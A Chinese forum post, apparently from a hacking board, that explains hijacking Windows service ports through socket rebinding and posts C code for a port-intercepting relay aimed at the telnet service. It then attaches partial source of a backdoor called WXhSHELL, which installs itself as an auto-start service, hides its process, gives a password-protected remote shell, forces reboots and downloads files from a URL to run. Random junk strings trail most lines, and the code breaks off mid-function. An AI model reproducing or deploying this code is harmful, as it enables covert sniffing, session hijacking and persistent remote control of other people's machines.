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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PyQ P K,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >o,l/# z  
6O0CF}B*  
  saddr.sin_family = AF_INET; iwx*mC{|A  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >%1mx\y^  
Oz-;2   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GMW,+  
/|#";QsPN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6TkV+\  
&X&msEM  
  这意味着什么?意味着可以进行如下的攻击:  ;U<}2M!g  
cl1>S3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TK s l.|  
bJ5 VlK67R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GX0S9s  
K$kI%eGZA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dk>qTY+j5  
`*-rz<G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mGP&NOR0^y  
>\4"k4d}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bh ,GQHJ  
o/4U`U)Q0v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B6J <  
>&`;@ZOH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;5!M+nk  
U#>K(  
  #include 'Hv=\p4$1  
  #include teX)!N [  
  #include '9XSz?  
  #include    D7|qFx;]g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2qpUUo f  
  int main() M T]2n{e  
  { 2`P=ekF]  
  WORD wVersionRequested; `PS^o#  
  DWORD ret; v4Mn@e_#c  
  WSADATA wsaData; aaRc?b'/  
  BOOL val; uRCZGg&V?#  
  SOCKADDR_IN saddr; 4#Cm5xAt6  
  SOCKADDR_IN scaddr;  4"~F  
  int err; Zg=jDPt}  
  SOCKET s; HIsB)W&%@  
  SOCKET sc; *iiyU}x  
  int caddsize; %@'[g]h k  
  HANDLE mt; HA`q U  
  DWORD tid;   x=YV*  
  wVersionRequested = MAKEWORD( 2, 2 ); Vqp 3'=No  
  err = WSAStartup( wVersionRequested, &wsaData ); N'n\_x  
  if ( err != 0 ) { n@_aTY  
  printf("error!WSAStartup failed!\n"); [oD u3Qn  
  return -1; /7LAd_P6  
  } +[Bl@RHe^  
  saddr.sin_family = AF_INET; ~ya@ YP]';  
   EK2mJCC|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [DD#YL\P  
lcfX(~/m^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #,CK;h9jy!  
  saddr.sin_port = htons(23); "|nh=!L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E'+?7ZGWj  
  { Zonr/sA~  
  printf("error!socket failed!\n"); d*R('0z{  
  return -1; jUGk=/*]e  
  } +nz 0ZQ9 a  
  val = TRUE; > JP}OS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "1z#6vw5a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lQKq{WLFx.  
  { WY$c^av<  
  printf("error!setsockopt failed!\n"); v ocWV/  
  return -1; nA#N,^Rr  
  } <`")Zxf+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A; Av0@w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #u/5 nm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s`I]>e  
<~ }NxY\5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R "qt}4m  
  { dM)x|b3z  
  ret=GetLastError(); ;5&=I|xqe  
  printf("error!bind failed!\n"); ^8V8,C)  
  return -1; 75W@B}dZd  
  } WwF2Ry^a  
  listen(s,2); cI (}  
  while(1) CfEACH4_  
  { '7JM/AcC#K  
  caddsize = sizeof(scaddr); sUz,F8G  
  //接受连接请求 <%"o-xZq7C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9o+e3TXp#  
  if(sc!=INVALID_SOCKET) 5bo')^xa  
  { w,1&s}; g\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H8V@KB  
  if(mt==NULL) `=P=i>,  
  { BPd *@l  
  printf("Thread Creat Failed!\n"); f,'^"Me$c  
  break; 6Sz|3ms  
  } 1~y\MD*-j  
  } =4#p|OZP  
  CloseHandle(mt); l5FKw;=K}:  
  } 8;$zD]{D1  
  closesocket(s); B\\M%!a>  
  WSACleanup(); {y`n _  
  return 0; SYA0Hiw7P  
  }   :vJ1Fo!  
  DWORD WINAPI ClientThread(LPVOID lpParam) FJ] ?45  
  { p-kug]qX  
  SOCKET ss = (SOCKET)lpParam; B3Daw/G  
  SOCKET sc; F*p@hl  
  unsigned char buf[4096]; mWTV)z57  
  SOCKADDR_IN saddr; dmPAPCm%y  
  long num; 1otE:bi  
  DWORD val; UId?a} J  
  DWORD ret; ~n;U5hcB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5 51p* B2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y*0j/91  
  saddr.sin_family = AF_INET; 6kHuKxY,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hxkwT  
  saddr.sin_port = htons(23); ~; vt{pk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IVso/!   
  { Q(jIqY1Hf  
  printf("error!socket failed!\n"); :aR_f`KMm  
  return -1; AHet,N  
  } -=GmI1:=$4  
  val = 100; u9j1>QU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4P?R "Lk  
  { YQ`88 z  
  ret = GetLastError(); ( "wmc"qH  
  return -1; ~F[JupU  
  } hVW1l&s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t#2szr+  
  { \kP1Jr  
  ret = GetLastError(); Le2rc *T  
  return -1; 7`HKa@  
  } +6s6QeNS8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]23+ d/  
  { ZVDi;   
  printf("error!socket connect failed!\n"); 4^7*R  
  closesocket(sc); 9a]JQ  
  closesocket(ss); C}]143a/Q  
  return -1; IgEVz^W?h  
  } I[KAW"  
  while(1) eE" *c>I  
  { 2`A\'SM'4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lklb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AQD`cG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +pxtar  
  num = recv(ss,buf,4096,0); 4F,RlKHBl  
  if(num>0) ^%NjdZuDO  
  send(sc,buf,num,0); nU/x,W[}  
  else if(num==0) rw%OA4>  
  break; H8h,JBg5<F  
  num = recv(sc,buf,4096,0); grE'ySX0  
  if(num>0) \L"0Pmt[  
  send(ss,buf,num,0); (r/))I9^  
  else if(num==0) x,Z:12H0  
  break; zO((FQ  
  } H]( TSt<Q"  
  closesocket(ss); s]Z++Lh<{  
  closesocket(sc); 3j\Py'};  
  return 0 ; !RwMUnp  
  } uOJso2Mx  
i2?TMM!Fe  
D 4<,YBvV  
========================================================== 9s#*~[E*  
3w8v.J8q  
下边附上一个代码,,WXhSHELL 6\RZ[gA?  
w_*$w Vl  
========================================================== O +Xu ?W]  
|`O210B@  
#include "stdafx.h" B3Ws)nF"  
OySn[4`(i  
#include <stdio.h> e?<$H\  
#include <string.h> &XB1=b5  
#include <windows.h> OQ+kOE&  
#include <winsock2.h> lh-zE5;  
#include <winsvc.h> nQ;M@k&9eV  
#include <urlmon.h> G&@_,y|  
R:U!HE8j   
#pragma comment (lib, "Ws2_32.lib") R]N"P:wf@  
#pragma comment (lib, "urlmon.lib") Lv@'v4.({  
y-_IMu.J`  
#define MAX_USER   100 // 最大客户端连接数 4YA1~7R  
#define BUF_SOCK   200 // sock buffer B:fulgh2ni  
#define KEY_BUFF   255 // 输入 buffer K}QZdN']  
i([|@Y=  
#define REBOOT     0   // 重启 sPRs;to-  
#define SHUTDOWN   1   // 关机 QLb!e"C  
|z`AIScT  
#define DEF_PORT   5000 // 监听端口 }*VRj;ff  
t]+h.  
#define REG_LEN     16   // 注册表键长度 vlPViHF.  
#define SVC_LEN     80   // NT服务名长度 'h>CgR^NM1  
41c4Xj?'  
// 从dll定义API }VqCyJu&{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +GT"n$)+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ?S'Wd=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \;0UP+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }T"&4Rvs2R  
2[1lwV  
// wxhshell配置信息 35Fs/Gf-n  
struct WSCFG { 89ab?H}/  
  int ws_port;         // 监听端口 G3gEL)b*  
  char ws_passstr[REG_LEN]; // 口令 d+]/0J!c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ye`-U?7.  
  char ws_regname[REG_LEN]; // 注册表键名 4#ZZwa]y  
  char ws_svcname[REG_LEN]; // 服务名 /e7BW0$1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6f&qtJQ<A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  \1?:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |t_SN,)dd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q\aC:68  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ),Igu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AizLzR$OG  
JxlZ,FF$@  
}; qTV.DCP  
QoS]QY'bZ  
// default Wxhshell configuration zRgl`zREr  
struct WSCFG wscfg={DEF_PORT, Z(BZG O<  
    "xuhuanlingzhe", aA-s{af  
    1, AX6l=jFZx  
    "Wxhshell", BCt>P?,UO  
    "Wxhshell", -fDW>]_  
            "WxhShell Service", RH "EO4  
    "Wrsky Windows CmdShell Service", /;`-[   
    "Please Input Your Password: ", QVe<Z A8N;  
  1, .<Jq8J  
  "http://www.wrsky.com/wxhshell.exe", U)D}J_Zi(  
  "Wxhshell.exe" +,J!xy+~,  
    }; 0(+dXzcwM  
9C: V i  
// 消息定义模块 Oo x,4 &  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Duq.`XO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $;j{?dvm.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TTo5"r9I 8  
char *msg_ws_ext="\n\rExit."; kI,O9z7A7  
char *msg_ws_end="\n\rQuit."; TeH_DVxj  
char *msg_ws_boot="\n\rReboot..."; z*`nfTw l  
char *msg_ws_poff="\n\rShutdown..."; -o YJ&r  
char *msg_ws_down="\n\rSave to "; 9O-*iK  
c@{M),C~E  
char *msg_ws_err="\n\rErr!"; IaGF{O3.  
char *msg_ws_ok="\n\rOK!"; 59k-,lyU,  
x%55:8{  
char ExeFile[MAX_PATH]; qKNHhXi  
int nUser = 0; S=3H.D!f  
HANDLE handles[MAX_USER]; ,m;G:3}48  
int OsIsNt; "*N]Y^6/A  
6Q NO#!;  
SERVICE_STATUS       serviceStatus; sLW e \o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _q`f5*Z[  
k];fQ7}m<0  
// 函数声明 (ljoD[kZ  
int Install(void); e4 -7&8N+  
int Uninstall(void); zI'c'X1,  
int DownloadFile(char *sURL, SOCKET wsh); D "X`qF6U7  
int Boot(int flag); [[KIuW~ot  
void HideProc(void); |L~RC  
int GetOsVer(void); PB!*&T'!  
int Wxhshell(SOCKET wsl); .gA4gI1kH  
void TalkWithClient(void *cs); zJG=9C?  
int CmdShell(SOCKET sock); 5>&C.+A 9  
int StartFromService(void); }c'T]h\S  
int StartWxhshell(LPSTR lpCmdLine); zX&wfE8T  
iH)-8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1p(9hVA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n@9R|biO  
Y{ w9D`}  
// 数据结构和表定义 XVY j X  
SERVICE_TABLE_ENTRY DispatchTable[] = _tfi6UQ&lY  
{ 8v\^,'@  
{wscfg.ws_svcname, NTServiceMain}, W" 1=K] B  
{NULL, NULL} VevDW }4q*  
}; KHoDD=O  
"@rXN"4  
// 自我安装 pGsu#`t  
int Install(void) mh8)yy5\  
{ k Hh0&~ (  
  char svExeFile[MAX_PATH]; ^Dys#^  
  HKEY key; ]gmkajCzD  
  strcpy(svExeFile,ExeFile); yGlOs]>n  
e%KCcU  
// 如果是win9x系统,修改注册表设为自启动  y-)5d  
if(!OsIsNt) { z_L><}H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B{cb'\ C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3=IY0Q>/(  
  RegCloseKey(key); H`NT`BE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vn6]h|vm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !p(N DQm  
  RegCloseKey(key); pxHJX2  
  return 0; iTJE:[W"y  
    } qfyuq]  
  } _hi8m o  
} ^q/_D%]C  
else { N6!$V7oT  
}RZN3U=  
// 如果是NT以上系统,安装为系统服务 "SU O2-Gj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W_h!Puj_  
if (schSCManager!=0) $J]o\~Z J  
{ Og(|bs!6  
  SC_HANDLE schService = CreateService U$j?2|v-x  
  ( }N W01nee  
  schSCManager, $ cYKVhf  
  wscfg.ws_svcname, S&F  
  wscfg.ws_svcdisp,  @+!u{  
  SERVICE_ALL_ACCESS, f9La79v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /xkF9   
  SERVICE_AUTO_START, cGS7s 8U  
  SERVICE_ERROR_NORMAL, "i; "  
  svExeFile, SsQg8d  
  NULL, `h$^=84  
  NULL, ;g_<i_ *x#  
  NULL, 7SjWofv  
  NULL, ![{0Yw D  
  NULL S"Drg m.  
  ); Io7o*::6iw  
  if (schService!=0) iU?xw@W R  
  {  Yk yB  
  CloseServiceHandle(schService); fi';Mb3B3  
  CloseServiceHandle(schSCManager); 48n7<M;I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1ika'  
  strcat(svExeFile,wscfg.ws_svcname); 0-Vx!(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Bn,f2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YCo qe,5  
  RegCloseKey(key); }Z8DVTpX}  
  return 0; GA2kg7  
    } H]Vo XJ\*  
  } 0Y9fK? (  
  CloseServiceHandle(schSCManager); nBGcf(BE.$  
} R9O1#s^  
} d2Ox:| <)  
Q ;$NDYV1  
return 1; obSLy Ed  
} GJn ~x  
/@+[D{_Fw  
// 自我卸载 tz/NR/[  
int Uninstall(void) /%i:(Ny  
{ h"On9  
  HKEY key; ')1p  
3Jw}MFFV  
if(!OsIsNt) { mI-9=6T_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n@y*~sG]  
  RegDeleteValue(key,wscfg.ws_regname); x4;ndck%U  
  RegCloseKey(key); YQ7tZl;:t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >m8~Fs0  
  RegDeleteValue(key,wscfg.ws_regname); 0i/!nke.  
  RegCloseKey(key); D:Fi/JY~  
  return 0; Gw?$.@L'I6  
  } e6uVUzP4  
} Fle pM*  
} )G@/E^ySM  
else { 70yM]C^  
peGh-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;@V1*7y  
if (schSCManager!=0) d^^EfWU  
{ v}BXH4&Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &KVXU0F^z  
  if (schService!=0) : 5<u!-}  
  { 4?.L+wL  
  if(DeleteService(schService)!=0) { W4n(6esO  
  CloseServiceHandle(schService); L3y`*&e>  
  CloseServiceHandle(schSCManager); y~;w`5;|  
  return 0; 8&UwnEk<  
  } %2<u>=6byG  
  CloseServiceHandle(schService); SX@zDuM  
  } )A:|8m  
  CloseServiceHandle(schSCManager); ~=Q Tv8  
} }+i~JK  
} P%Tffsl  
Wtqv  
return 1; GKa_6X_  
} Eg 8rgiU  
U$^$7g 3  
// 从指定url下载文件 tzdh3\6F  
int DownloadFile(char *sURL, SOCKET wsh) DI7g-h8`  
{ ]j57Gk%z  
  HRESULT hr; "D?:8!\!  
char seps[]= "/"; ?$Ii_.  
char *token; zM!2JC  
char *file; -VkPy<)  
char myURL[MAX_PATH]; v `7`'  
char myFILE[MAX_PATH]; N_| '`]D  
)@a_|q@V  
strcpy(myURL,sURL); x0$#8  
  token=strtok(myURL,seps); ]]8^j='P'  
  while(token!=NULL) W^N|+$g>H  
  { j xTYW)E   
    file=token; {q|Om?@  
  token=strtok(NULL,seps); -9~WtTaV.H  
  } EN{o3@ O'  
lq }g*ih  
GetCurrentDirectory(MAX_PATH,myFILE); &AhkP=Yw  
strcat(myFILE, "\\"); z 3N'Xk  
strcat(myFILE, file); 52#Ac;Y  
  send(wsh,myFILE,strlen(myFILE),0); pW1(1M)[%Z  
send(wsh,"...",3,0); L1YiXJ,T,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I"bz6t\~|  
  if(hr==S_OK) ^{l$>e]  
return 0; ;)rXQm  
else *g!7PzJ'  
return 1; !nt[J$.z^  
40Hm+Ge  
} i4H,Ggb  
V3q[#.o  
// 系统电源模块 ^@OdY& 5^  
int Boot(int flag) ^Rc*X'Iz(!  
{ [ %6(1$Ih  
  HANDLE hToken; <zt124y-6  
  TOKEN_PRIVILEGES tkp; $#/f+kble  
^s_7-p])(  
  if(OsIsNt) { ] 8dzTEjk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ']DUCu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yNOoAnGT W  
    tkp.PrivilegeCount = 1; +S ],){  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >m# bj^F\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9#b/D&pX5  
if(flag==REBOOT) { ^b^}6L'Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]1&} L^a  
  return 0; _q=ua;I&  
} p}K.-S`MQ  
else { %hCd*[Z}j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $c}-/U 8  
  return 0; #8@o%%F d  
} .T\_4C  
  } @23~)uiZa  
  else { R/Z zmb{  
if(flag==REBOOT) { d34BJ<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HMqR%A  
  return 0; ^wxpinJ>  
} V?&P).5)  
else { g[$4a4X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G- eSHv  
  return 0; ndS8p]P&o(  
} /M Z^;XG  
} Ri;_ 8v[H|  
Aqo90(jffx  
return 1; r>cN,C  
} &l?AC%a5  
6o<(,\ad [  
// win9x进程隐藏模块 |(3"_  
void HideProc(void) z#^;'nnw  
{ w:07_`cH=  
+l<l3uBNS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BV=~ !tsl  
  if ( hKernel != NULL ) 2(H-q(  
  { d;.H 9Ne  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 52t6_!y+V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *cAI gO7  
    FreeLibrary(hKernel); aM YtWj  
  } /_</m?&.U&  
I'0{Q`}  
return; l;i /$Yu7  
} -mw`f)?Ev  
#Fz/}lO  
// 获取操作系统版本 M.\V/OX  
int GetOsVer(void) 4/AE;y X  
{ OxqkpK&  
  OSVERSIONINFO winfo; ^MO})C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }56WAP}Z 4  
  GetVersionEx(&winfo); >)+N$EN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _BZ6Ws$C2  
  return 1; xQkvK=~$  
  else |H.ARLS  
  return 0; bXk(wXX  
} Dvm[W),(k  
|dhKeg_  
// 客户端句柄模块 W_lXY Z<  
int Wxhshell(SOCKET wsl) N5.B"l  
{ (9Q@I8}Iy  
  SOCKET wsh; %"^8$A?>,k  
  struct sockaddr_in client; e%C_>  
  DWORD myID; $[\\{XJ.  
iTVZo?lVo  
  while(nUser<MAX_USER) T{)_vQ  
{ v?_L_{x;W  
  int nSize=sizeof(client); (D0\uld9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tE,& G-jU  
  if(wsh==INVALID_SOCKET) return 1; EYA=fU  
'}$$0S.DC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yt<h!k$ _P  
if(handles[nUser]==0) m UUNR,  
  closesocket(wsh); ;Vpp1mk|  
else  "3/&<0k  
  nUser++; wKKQAM6P1  
  } 3,-[lG@o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >:HmIW0PLe  
[Qcht,\^v  
  return 0; Z@} qL1  
} bvS6xU- J  
3~:9ZWQ/  
// 关闭 socket N-W>tng_x  
void CloseIt(SOCKET wsh) fZrh_^yH  
{ LGK@taw^  
closesocket(wsh); _!,Ees=b  
nUser--; ^h^.;Iqr=  
ExitThread(0); in6*3C4  
} (e Ssx/  
")<5 VtV  
// 客户端请求句柄 54=*vokX_  
void TalkWithClient(void *cs) }(7TiCwd  
{ GSW%~9WBa  
pQ>|d H+.  
  SOCKET wsh=(SOCKET)cs; OX%#8Lx  
  char pwd[SVC_LEN]; U7Oa 13Qz  
  char cmd[KEY_BUFF]; 2T(7V[C%9  
char chr[1]; fbD,\ rjT  
int i,j; )qe rA  
y%?'<j  
  while (nUser < MAX_USER) { 'q?Y5@s  
voQJ!h1  
if(wscfg.ws_passstr) { `aTw!QBfG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PQp/ &D4K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h'?v(k!  
  //ZeroMemory(pwd,KEY_BUFF); <Zvvx  
      i=0; LI].*n/v  
  while(i<SVC_LEN) { Q[ ?R{w6  
"By$!R-&  
  // 设置超时 tQas_K5  
  fd_set FdRead; KWojMPs  
  struct timeval TimeOut; /l_u $"  
  FD_ZERO(&FdRead); Em !%3C1r  
  FD_SET(wsh,&FdRead); ?Yzw]ag.  
  TimeOut.tv_sec=8; d::9,~  
  TimeOut.tv_usec=0; OTl9MwW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .>z1BP:(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YgdQC(ib  
?5J>]: +ZZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "YaT1` Kr  
  pwd=chr[0]; t<ZBp0  
  if(chr[0]==0xd || chr[0]==0xa) { ==Xy'n9'  
  pwd=0; wl&T9O;?  
  break; Qj|rNeM_  
  } \Y>b#*m(4  
  i++; =fJU+N+<  
    } R:$E'PSx  
-+Ot' ^  
  // 如果是非法用户,关闭 socket tDRo)z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d%.|MAE  
} E- [Eg  
A*~G[KC3(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n_Qua|R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X</Sl>[8  
ul#y'iY]  
while(1) { +80bG(I_  
P;o  {t  
  ZeroMemory(cmd,KEY_BUFF); ,n[<[tkCR  
*5 .wwV  
      // 自动支持客户端 telnet标准   1y\bJ  
  j=0; 3&CV!+z  
  while(j<KEY_BUFF) { :;eQ*{ `\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WMC\J(@.  
  cmd[j]=chr[0]; T0Xm}i  
  if(chr[0]==0xa || chr[0]==0xd) { cc3B}^@p=  
  cmd[j]=0; ^2);*X>  
  break; GcDA0%i  
  } L9N }lH  
  j++; n}_}#(a  
    } 2Z%n "z68  
.{\eco  
  // 下载文件 qdn_ ZE  
  if(strstr(cmd,"http://")) { xT]t3'y|-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yo/;@}g}  
  if(DownloadFile(cmd,wsh)) g'b|[ q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K4jHha  
  else ge(,>xB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Le:C8^  
  } )obgEJ7Y`l  
  else { H`'a|Y  
EQ ee5}  
    switch(cmd[0]) { qB (Pqv  
  l _%<U  
  // 帮助 1O< 6=oH  
  case '?': { g4b#U\D@)/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IdN3Ea]  
    break; / Ws>;0  
  } Sc/l.]k+  
  // 安装 y: x<`E=  
  case 'i': { W#~7X  
    if(Install()) kl]MP}wc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h x&"fe  
    else |T@SlNi]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |=*)a2  
    break; v@tEHRadz  
    } gT0yI ;g]  
  // 卸载 NXFi*  
  case 'r': { %~PcJhz  
    if(Uninstall()) 51b%uz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|><Ls6Q  
    else hPSMPbI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `_)H aF>/  
    break; vQyY %  
    } ^!\AT!OT  
  // 显示 wxhshell 所在路径 JPAjOcmU/  
  case 'p': { g i6s+2  
    char svExeFile[MAX_PATH]; L7;~4_M9.V  
    strcpy(svExeFile,"\n\r"); l=p_  
      strcat(svExeFile,ExeFile); 4NW!{Vw ,  
        send(wsh,svExeFile,strlen(svExeFile),0); KD ,3U/ 3  
    break; # :k=  
    } _%=CW' B  
  // 重启 3a.!9R>  
  case 'b': { \? )S {  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `DF49YP"~  
    if(Boot(REBOOT)) /0H}-i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gmi? xGn  
    else { J)Y`G4l2@  
    closesocket(wsh); e)n ,Y  
    ExitThread(0); ofV0L  
    } $QwpoVp`~  
    break; o=_7KWOA  
    } -yBKA]"<I  
  // 关机 & H%/.4la  
